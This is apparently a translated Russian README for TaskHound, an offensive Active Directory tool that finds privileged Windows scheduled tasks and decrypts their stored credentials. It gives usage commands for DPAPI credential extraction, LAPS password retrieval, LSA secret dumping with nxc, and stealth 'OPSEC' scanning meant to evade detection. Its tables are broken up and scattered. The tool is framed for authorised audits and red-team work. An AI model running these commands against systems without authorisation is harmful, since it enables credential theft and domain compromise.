
Инструмент для перечисления привилегированных запланированных задач на удаленных системах
Инструмент для обнаружения привилегированных запланированных задач Windows для удовольствия и прибыли.
TaskHound охотится за запланированными задачами Windows, выполняющимися с привилегированными учётными записями и сохранёнными учётными данными. Он перечисляет задачи через SMB, разбирает XML и определяет ценные возможности для атак с помощью интеграции с BloodHound.
Предысторию и подробные объяснения см. в соответствующих записях блога — Часть 1 и Часть 2.
git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
taskhound --offline-disk /mnt/disk
> **Auth Support**: TaskHound поддерживает большинство основных механизмов аутентификации, включая пароль, NTLM-хэш, Kerberos (также с ccache) и аутентификацию с помощью ключа AES.
## Файл конфигурации
TaskHound поддерживает TOML-файлы конфигурации для постоянных настроек. Создайте `taskhound.toml` в вашем рабочем каталоге или `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"
[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30
[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}" # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"
[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"
[laps]
enabled = true
[cache]
enabled = true
ttl = 86400 # 24 hours
Приоритет: аргументы CLI > переменные окружения > локальная конфигурация > конфигурация пользователя > значения по умолчанию
BOF TaskHound включен в Adaptix Extension-Kit в директории SAR-BOF/taskhound/.
TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD
by 0xr0BIT
[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)
┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘
╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯
---
## Интеграция с BloodHound
TaskHound поддерживает как **Legacy BloodHound** (Neo4j), так и **BloodHound Community Edition (BHCE)** с автоматическим определением формата.
### Прямое подключение```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"
# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-user admin --bh-password password
# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
--bh-user neo4j --bh-password password
Если прямое подключение невозможно, экспортируйте ценных пользователей с помощью следующих Cypher-запросов:
BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;
**Наследие:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups
Затем используйте: taskhound --bh-data exported_users.json ...
TaskHound создаёт пользовательские узлы и рёбра в BloodHound CE для визуализации цепочек атак запланированных задач.
Что вы получаете:
ScheduledTask с 20+ свойствами (учётные данные, триггеры, анализ паролей, статус проверки)HasTask, HasTaskWithStoredCreds, RunsAstaskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload
> **Примечание**: OpenGraph работает только с BHCE. Устаревший BloodHound не поддерживает пользовательские типы узлов.
---
## Интеграция LAPS
TaskHound может автоматически получать и использовать пароли LAPS для аутентификации на каждом хосте. Поддерживает как Windows LAPS (`msLAPS-Password`), так и устаревший LAPS (`ms-Mcs-AdmPwd`), включая зашифрованные пароли через MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin
# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps
Поддерживаемые типы LAPS:
| Тип | Атрибут | Зашифрован |
|---|---|---|
| Windows LAPS | msLAPS-Password | Нет |
| Windows LAPS |
TaskHound извлекает и расшифровывает сохраненные учетные данные задач с помощью DPAPI. Сбор данных DPAPI включен по умолчанию.```bash
nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot
> **Важно**: Каждый хост имеет уникальный ключ DPAPI_SYSTEM. Для многоцелевого сканирования сначала соберите (по умолчанию), затем расшифруйте каждую цель офлайн.
---
## Проверка учётных данных
TaskHound оценивает, вероятно ли, что сохранённые пароли задач всё ещё действительны, запрашивая историю выполнения задач через RPC и применяя эвристику. Эта функция **включена по умолчанию**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds
Планировщик задач Windows записывает только успешные выполнения задач. Сбои аутентификации (неверный пароль, заблокированная учетная запись и т. д.) молча игнорируются. Задача просто не выполняется.
Ключевой момент: Windows проверяет учетные данные при создании задачи. Если попытаться создать задачу с неверным паролем, возникает ERROR_LOGON_FAILURE, и задача не создается. Это означает: если задача с сохраненными учетными данными существует, пароль был действителен на момент создания задачи.
TaskHound использует эвристику для оценки достоверности учетных данных:
Ключевой момент: сравнение pwdLastSet из AD с LastRunTime из планировщика задач показывает, изменился ли пароль после последнего успешного выполнения. Для задач, которые никогда не запускались, сравнение pwdLastSet с task_creation_date показывает, изменился ли пароль после того, как задача была создана с действительными учетными данными.
Без данных AD (например, при --no-ldap и отсутствии BloodHound): TaskHound возвращается в режим только RPC, используя только код возврата и время последнего запуска. Успешное выполнение возвращает LIKELY_VALID; обнаружение устаревания на основе расписания все еще применяется, если интервал триггера известен из XML задачи.
Примечание: Отключено при использовании
--opsecили--no-rpc.
TaskHound поддерживает несколько форматов вывода для различных сценариев использования. Все выходные данные используют структурированную структуру каталогов в --output-dir (по умолчанию: ./output).
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit
### Структура каталога```
./output/ # Base directory (--output-dir)
├── plain/ # Plain text output
│ └── <hostname>/
│ └── tasks.txt
├── json/ # JSON export
│ └── taskhound.json
├── csv/ # CSV export
│ └── taskhound.csv
├── html/ # HTML security reports
│ └── taskhound.html
├── opengraph/ # BloodHound OpenGraph files
│ └── taskhound_data.json
└── raw_backups/ # Raw collection (XML + DPAPI)
└── <hostname>/
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
Вывод HTML формирует всесторонний отчет безопасности, предназначенный для оценки со стороны синей команды:
По умолчанию TaskHound сохраняет необработанные XML-файлы задач и большие двоичные объекты учетных данных DPAPI для автономного анализа:```bash
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
## Многопоточное сканирование
Для больших сред используйте параллельное сканирование с ограничением скорости:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5
# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20
# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90
# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0
По умолчанию --auto-targets применяет умную фильтрацию для уменьшения шума и неудачных подключений:
| Фильтр | По умолчанию | Переопределение |
|---|---|---|
| Отключенные учетные записи |
Приоритет источника данных: BloodHound (если настроен) → LDAP как запасной вариант
При использовании BloodHound TaskHound выполняет запросы с include_properties=true для эффективного однозапросного перечисления. Если данные BloodHound старше 7 дней, выводится предупреждение; более 30 дней — срочное предупреждение.
Предустановки фильтров:
servers — только операционные системы Windows Serverworkstations — только несерверные операционные системы(raw LDAP) — пользовательский LDAP-фильтр (требуется источник LDAP)TaskHound разрешает SID в читаемые имена, используя многоуровневую цепочку запасных вариантов:
taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec
---
## Автономный анализ
Анализируйте задачи без доступа к сети:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local
# Mounted disk image
taskhound --offline-disk /mnt/disk
# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE
TaskHound предоставляет детальный контроль над сетевыми операциями для балансировки между скрытностью и функциональностью.
Default: BloodHound → Cache → LSARPC → LDAP → GC
--no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC
--opsec: BloodHound → Cache (only)
### Поведение по умолчанию
TaskHound **очень шумный по умолчанию** — все функции включены для максимальной видимости. Это делает его идеальным для аудитов и комплексных оценок, где OPSEC не является проблемой:
- **Обнаружение Credential Guard** — включено по умолчанию (отключить с помощью `--no-credguard`)
- **Проверка учетных данных** — включена по умолчанию (отключить с помощью `--no-validate-creds`)
- **Извлечение DPAPI** — включено по умолчанию (отключить с помощью `--no-loot`)
- **Разрешение LDAP** — включено по умолчанию (отключить с помощью `--no-ldap`)
- **Операции RPC** — включены по умолчанию (отключить с помощью `--no-rpc`)
> [!WARNING]
> **Проверки Credential Guard очень заметны.** Поскольку служба Remote Registry по умолчанию остановлена в современных Windows, TaskHound удаленно **запустит службу** через SCM, выполнит проверки, а затем остановит ее (как и secretsdump). Это заставит любую приличную SOC засиять как новогодняя елка. **Обязательно используйте `--no-credguard`, если хотите избежать этого в заданиях!**
Говоря о заданиях: для операций красной команды/скрытных операций используйте `--opsec`, чтобы отключить все шумные функции сразу. (Или используйте BOF).
### Примеры использования```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec
# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5
# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap
# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc
# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps
--bh-live--opsec — разово отключает все шумные операции--jitter для рандомизации времени — избежать предсказуемых шаблонов сканирования--offlineTaskHound использует Rich для форматированного вывода в консоль с цветными таблицами и индикаторами выполнения.``` taskhound --help
<details>
<summary>Нажмите, чтобы развернуть полное использование</summary>```
Usage: taskhound [OPTIONS] [TARGETS]
AUTHENTICATION OPTIONS
-u, --username Username (required for online mode)
-p, --password Password (omit with -k for Kerberos/ccache)
-d, --domain Domain (required for online mode)
--hashes NTLM hashes (LM:NT or NT-only)
-k, --kerberos Use Kerberos authentication
--aes-key AES key for Kerberos (32 or 64 hex chars)
TARGET OPTIONS
-t, --target Single target or comma-separated list
--targets-file File with targets, one per line
--dc-ip Domain controller IP
--ns, --nameserver DNS nameserver for lookups
--timeout Connection timeout in seconds (default: 5)
--threads Parallel worker threads (default: 10)
--rate-limit Max targets per second (default: unlimited)
--jitter SECONDS Random delay (0-N seconds) between hosts (OPSEC, sequential only)
--dns-tcp Force DNS over TCP (for SOCKS proxies)
--auto-targets Auto-discover targets (BloodHound first, LDAP fallback)
--ldap-filter Filter for auto-targets: 'servers', 'workstations', or raw LDAP
--include-dcs Include Domain Controllers in auto-targets
--include-disabled Include disabled computer accounts
--stale-threshold Exclude computers inactive >N days (default: 60, 0=disable)
SCANNING OPTIONS
--offline Parse XMLs from directory
--offline-disk Analyze mounted Windows filesystem
--disk-hostname Override hostname for offline-disk
--bh-data BloodHound export file for HV detection
--opsec Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
--no-rpc Disable RPC operations (LSARPC, CredGuard, validation)
--include-ms Include \Microsoft tasks
--include-local Include local system accounts
--include-all Include ALL tasks
--unsaved-creds Show tasks without stored credentials
--no-credguard Disable Credential Guard detection (default: enabled)
--no-validate-creds Disable credential validation (default: enabled)
BLOODHOUND OPTIONS
--bh-live Enable live BloodHound connection
--bh-connector BloodHound URI (default: http://127.0.0.1:8080)
--bh-user BloodHound username
--bh-password BloodHound password
--bh-api-key BloodHound API key
--bh-api-key-id BloodHound API key ID
--bh-timeout API query timeout (default: 120)
--bhce Use BHCE (Community Edition)
--legacy Use Legacy BloodHound (Neo4j)
--bh-save Save query results to file
OPENGRAPH OPTIONS (BHCE ONLY)
--bh-opengraph Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
--bh-no-upload Skip automatic upload
--bh-force-icon Force icon update
--bh-icon Icon name (default: clock)
--bh-color Icon color (default: #8B5CF6)
--bh-allow-orphans Create edges for missing nodes
DPAPI OPTIONS
--no-loot Disable DPAPI credential collection (default: enabled)
--dpapi-key DPAPI_SYSTEM userkey (hex format)
LDAP/SID RESOLUTION
--no-ldap Disable LDAP/GC operations
--ldap-user Alternative LDAP username
--ldap-password Alternative LDAP password
--ldap-hashes Alternative LDAP hashes
--ldap-domain Alternative LDAP domain
--ldap-tier0 Enable LDAP-based Tier-0 detection
--gc-server Global Catalog server IP
LAPS OPTIONS
--laps Enable LAPS authentication
--laps-user Override local admin username
--force-laps Force LAPS in OPSEC mode
CACHE OPTIONS
--cache-ttl Cache TTL in seconds (default: 86400)
--no-cache Disable caching
--clear-cache Clear cache before run
--cache-file Cache file path
OUTPUT OPTIONS
-o, --output Output formats (comma-separated: plain,json,csv,html)
Default: plain
--output-dir Base output directory (default: ./output)
--no-backup Disable raw XML backup collection
--no-summary Disable summary table
Output directory structure:
./output/
├── plain/<host>/tasks.txt # Plain text output
├── json/taskhound.json # JSON export
├── csv/taskhound.csv # CSV export
├── html/taskhound.html # HTML security report
├── opengraph/ # BloodHound OpenGraph files
└── raw_backups/<host>/ # Raw XML + DPAPI files
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
MISC
--verbose Verbose output
--debug Debug output with stack traces
Когда потребление кофеина и свободное время совпадут:
И всем, кто внёс вклад в доступность инструментов для защиты от атак.
TaskHound — это строго аудиторский и образовательный инструмент. Используйте только в тех средах, которыми владеете или на тестирование которых получили явное разрешение. Серьёзно. Не будьте мудаком.
PR приветствуются. Половина этого была написана под кофеином в потоке, так что не ждите чудес.
Используйте ответственно. Гарантии не предоставляется. Подробности в файле LICENSE.
| Функция | Описание |
|---|
| Обнаружение Tier 0 и высокоприоритетных целей | Автоматически выявляет задачи, выполняющиеся от имени администраторов домена, администраторов предприятия и других привилегированных учётных записей |
| Интеграция с BloodHound | Подключение к действующим экземплярам BHCE/унаследованным версиям или импорт экспортированных данных для обнаружения высокоприоритетных пользователей |
| Поддержка OpenGraph | Визуализация запланированных задач как узлов путей атак в BloodHound CE |
| Интеграция с LAPS | Автоматическое получение и использование паролей LAPS (как Windows LAPS, так и устаревших версий) для аутентификации на каждом узле |
| Извлечение учётных данных DPAPI | Сбор и расшифровка BLOB-объектов DPAPI, содержащих сохранённые учётные данные задач |
| Многопоточное сканирование | Параллельная обработка целей с ограничением скорости для больших сред |
| Обнаружение Tier-0 через LDAP | Выявление привилегированных учётных записей по членству в группах без BloodHound |
| Проверка учётных данных | Подтверждение актуальности паролей сохранённых задач через RPC |
| Автономный анализ | Обработка образов смонтированных дисков или ранее собранных XML-файлов |
| Несколько форматов вывода | Отчёты в формате обычного текста, JSON, CSV и HTML с оценкой степени серьёзности |
| Разрешение SID | Многоуровневое разрешение через BloodHound → Кэш → LSARPC → LDAP → GC |
| Кэширование | Постоянный кэш на SQLite для поиска SID и учётных данных LAPS |
| Source | Метод обнаружения |
|---|
| BHCE | isTierZero, системные теги (admin_tier_0), AdminSDHolder |
| Устаревшие | AdminSDHolder (admincount=1), обнаружение на основе SID |
| LDAP | запросы членства в группах (--ldap-tier0) |
| Встроенные | Известные SID уровня 0 (Domain Admins, Enterprise Admins, и т.д.) |
msLAPS-EncryptedPassword |
| Да (MS-GKDI) |
| Legacy LAPS | ms-Mcs-AdmPwd | Нет |
| Статус | Значение |
|---|
CONFIRMED_VALID | Пароль не изменялся с момента создания задачи И задача выполнялась по плану — учетные данные подтверждены как рабочие |
HIGH_CONFIDENCE_VALID | Пароль не изменялся с момента создания задачи, но время триггера неизвестно (например, триггер загрузки) — учетные данные, вероятно, действительны |
LIKELY_VALID | Пароль изменен, но задача выполнялась по расписанию (учетные данные обновлены), ИЛИ задача успешно выполнена (режим только RPC) |
POSSIBLY_STALE | Задача должна была выполниться, но не выполнилась — может указывать на устаревшие учетные данные |
DEFINITELY_STALE | Пароль изменен после последнего успешного выполнения — учетные данные определенно неверны |
NEVER_RAN_LIKELY_VALID | Задача ни разу не выполнялась, но пароль не изменялся с момента создания — вероятно, действительна (может отсутствовать право пакетного входа) |
NEVER_RAN_POSSIBLY_STALE | Задача ни разу не выполнялась, и пароль изменен после создания — вероятно, устарела |
NEVER_RAN_UNKNOWN | Задача ни разу не выполнялась, нет контекста AD — была действительна при создании, текущий статус неизвестен |
UNKNOWN | Невозможно определить (учетная запись заблокирована и т. д.) |
| Формат | Флаг | Описание | Сценарий использования |
|---|
| Plain | -o plain | Вывод в консоль в удобочитаемом виде (по умолчанию) | Интерактивное использование, быстрый просмотр |
| JSON | -o json | Структурированный экспорт для машинной обработки | Автоматизация, анализ данных, написание скриптов |
| CSV | -o csv | Экспорт, совместимый с электронными таблицами | Отчетность, фильтрация, анализ в Excel |
| HTML | -o html | Отчет безопасности с оценкой серьезности | Аудиты синих команд, отчеты для заинтересованных сторон |
| Исключены |
--include-disabled |
| Устаревшие компьютеры (>60 дней) | Исключены | --stale-threshold 0 (отключить) |
| Контроллеры домена | Исключены | --include-dcs |
| Протокол | Операции | Флаг для отключения |
|---|
| SMB | Перечисление задач (всегда используется) | N/A |
| LDAP (389/636) | Разрешение SID, обнаружение Tier-0, pwdLastSet | --no-ldap |
| Глобальный каталог (3268) | Междоменное разрешение SID | --no-ldap |
| LSARPC (SMB pipe) | Резервное разрешение SID | --no-rpc |
| Удаленный реестр (SMB pipe) | Обнаружение Credential Guard | --no-credguard |
| Планировщик задач RPC (SMB pipe) | Проверка учетных данных | --no-validate-creds |
| Сбор файлов DPAPI (SMB) | Сбор блобов учетных данных DPAPI | --no-loot |